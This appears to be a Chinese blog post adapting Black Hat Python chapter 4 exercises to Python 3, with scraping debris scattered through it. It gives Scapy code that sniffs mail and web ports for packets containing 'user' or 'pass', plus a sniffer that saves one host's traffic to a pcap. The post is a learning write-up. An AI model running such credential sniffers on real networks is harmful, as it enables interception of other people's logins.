如今的郵箱應用我能找到的都是加密傳輸了,所以相像書中那樣直接從抓到的包裏獲取到用戶名和密碼信息除非是本身專門搭建一個郵箱服務器,否則很難作到,爲了便於理解代碼的運行,多添加一個tcp端口觀察代碼的運行狀況,修改後的python3代碼以下:python
from scapy.all import * from scapy.layers.inet import TCP, IP # our packet callback def packet_callback(packet): if packet.haslayer(TCP): if packet[TCP].payload: mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): print("[*] Server: {}".format(packet[IP].dst)) print("[*] {}".format(packet[TCP].payload)) print("go!") # fire up our sniffer sniff(filter="tcp port 110 or tcp port 25 or tcp port 143 or tcp port 80", prn=packet_callback, store=0) #sniff(prn=packet_callback, count=0)
能夠看到比書中多監測了80端口,運行狀況以下:
git
本代碼運行良好不須要作有技術含量的修改,修改後python3代碼見文章最後github連接。
運行情況:
github
書上步驟很詳細,也無需太多修改,對以前的代碼稍做修改使其抓取本機的10000個數據包,而後······
個人kali跑死機了。
乾脆重寫一個抓取本機數據包的程序。代碼以下:緩存
from scapy.all import * import sys host = "192.168.2.222" packet_count = 5000 interface = "eth0" bpf_filter = "ip host {}".format(host) try: print("[*] Starting sniffer for {} packets".format(packet_count)) packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) except KeyboardInterrupt: pass finally: # write out the captured packets print("[*] Writing packets to arper.pcap") wrpcap("arper.pcap", packets) sys.exit(0)
而後修改並運行代碼,說實話不能算成功,無非是對圖片格式的編碼解碼有問題。自我放棄之下用python2.7去運行原版代碼······
也是圖片編碼存在問題:
服務器
Black Hat Python3 Chapter4python2.7